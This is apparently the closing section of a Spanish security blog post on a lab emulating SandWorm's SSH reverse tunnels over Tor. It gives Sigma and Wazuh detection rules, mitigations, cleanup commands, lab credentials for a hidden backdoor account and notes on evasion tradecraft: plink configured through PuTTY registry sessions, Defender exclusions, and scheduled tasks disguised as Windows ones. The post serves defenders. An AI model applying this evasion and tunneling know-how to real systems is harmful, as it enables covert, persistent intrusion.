description: Detecta plink.exe o ssh.exe con reverse port forwarding usando Tor como proxy
author: Red Orbita
logsource:
    category: process_creation
    product: windows
detection:
    selection_plink:
        Image|endswith: '\plink.exe'
        CommandLine|contains|all:
            - '-R '
            - '-load'
    selection_plink_proxy:
        Image|endswith: '\plink.exe'
        CommandLine|contains:
            - '-batch'
            - '9050'
    selection_ssh:
        Image|endswith: '\ssh.exe'
        CommandLine|contains|all:
            - '-R '
            - '9050'
    selection_registry:
        TargetObject|contains:
            - 'SimonTatham\PuTTY\Sessions'
        Details|contains:
            - '.onion'
    condition: 1 of selection_*
level: high
tags:
    - attack.command_and_control
    - attack.t1572
    - attack.t1090.003
    - attack.t1112

Wazuh (regla custom):

XML
<rule id="100200" level="12">
  <if_sid>530</if_sid>
  <match>plink.*-R.*-load|ssh.*-R.*ProxyCommand.*9050</match>
  <description>SSH reverse tunnel via Tor SOCKS5 detected (SandWorm TTP)</description>
  <mitre>
    <id>T1572</id>
    <id>T1090.003</id>
  </mitre>
</rule>

<rule id="100201" level="10">
  <if_sid>592</if_sid>
  <match>SimonTatham.*PuTTY.*Sessions.*onion</match>
  <description>PuTTY session with .onion address created (possible Tor tunnel)</description>
  <mitre>
    <id>T1112</id>
    <id>T1572</id>
  </mitre>
</rule>

Mitigaciones

#MitigacionDescripcion
1Bloquear TorFiltrar conexiones a nodos Tor conocidos (listas publicas actualizadas diariamente)
2Monitorizar plink/sshAlertar en plink.exe o ssh.exe con -R (reverse tunnel) no autorizado
3EDR/SysmonDetectar creacion de PuTTY sessions con hosts .onion en registro
4Hardening SSHAllowTcpForwarding no en servidores que no necesitan tunneling
5SegmentacionServidores criticos no deberian poder salir a Internet directamente
6AppLockerBloquear tor.exe, plink.exe en endpoints que no los necesitan
7Defender exclusionsAlertar si se anaden exclusiones masivas (C:\) via Add-MpPreference

Limpieza del lab

Manual (Windows victim)

POWERSHELL
# Matar tunnel y Tor
Stop-Process -Name plink,tor -Force -ErrorAction SilentlyContinue

# Eliminar tareas programadas
schtasks /Delete /TN "\Microsoft\Windows\WDI\Tambur" /F
schtasks /Delete /TN "\Microsoft\Windows\WDI\TamburWatch" /F
schtasks /Delete /TN "\Microsoft\Windows\WDI\MicrosoftEdgeUpdateTaskMachineCore" /F

# Eliminar usuario backdoor
net user Admin /delete

# Limpiar registro PuTTY
Remove-Item "HKCU:\SOFTWARE\SimonTatham" -Recurse -Force -ErrorAction SilentlyContinue

# Eliminar ficheros
Remove-Item "$env:PUBLIC\Edge Update Manager" -Recurse -Force -ErrorAction SilentlyContinue

# Restaurar exclusiones de Defender
Remove-MpPreference -ExclusionPath "C:\"
Remove-MpPreference -ExclusionPath "$env:TEMP"
Remove-MpPreference -ExclusionPath "$env:PUBLIC"

Manual (C2 server)

BASH
sudo userdel -r tambur
sudo rm -rf /var/lib/tor/ssh_hidden_service
sudo systemctl restart tor

Vagrant

BASH
cd /ruta/a/vagrant/sandworm_ssh_tor_lab
vagrant destroy -f

Credenciales del lab

MaquinaUsuarioPasswordServicio
c2-servertamburTunnel2026SSH (tunnel endpoint)
victim-winvagrantvagrantWinRM/RDP (admin)
victim-winAdmin1qaz@WSXRDP (backdoor oculto)

Conclusiones

Esta PoC demuestra por que la combinacion SSH + Tor es tan efectiva para los atacantes:

  • Sin conexion IP directa: Imposible vincular victima y atacante por trafico de red
  • Trafico legitimo: SSH y Tor son protocolos legales, dificiles de bloquear sin impacto
  • Persistencia trivial: Una tarea programada y el tunnel se re-establece automaticamente
  • Living off the Land: plink.exe es software legitimo firmado; ssh.exe es nativo de Windows
  • Bajo coste operativo: No requiere infraestructura propia visible, solo un .onion
  • Evasion completa: Exclusiones en Defender + PuTTY sessions en registro = invisible para la mayoria de EDRs

Hallazgos tecnicos del lab

Durante la implementacion descubrimos limitaciones reales que SandWorm probablemente tambien encontro:

  1. ssh.exe nativo de Windows NO funciona sin TTY: La version 8.1 de OpenSSH for Windows no puede firmar claves SSH cuando se ejecuta desde servicios (sin terminal). Error: read_passphrase: can't open /dev/tty
  2. plink.exe -proxycmd con binarios externos NO funciona: El pipe handling de Windows rompe la comunicacion stdin/stdout entre plink y el binario proxy
  3. Solucion real: PuTTY saved sessions con ProxyMethod=2 (SOCKS5) + ProxyDNS=1 + ProxyUsername/Password (necesario para -batch, Tor acepta cualquier valor)

Esto explica por que SandWorm usa plink.exe con configuracion via registro en vez de ssh.exe nativo — no es una eleccion arbitraria, es la unica forma que funciona en Windows para tunneling automatizado sin interaccion del usuario.

La mejor defensa es la deteccion comportamental: monitorizar procesos que hacen SSH reverse tunnels via proxies SOCKS, inspeccionar el registro de PuTTY para sessions con hosts .onion, y bloquear conexiones a la red Tor desde maquinas que no lo necesitan.


Referencias

:wq!

Comentarios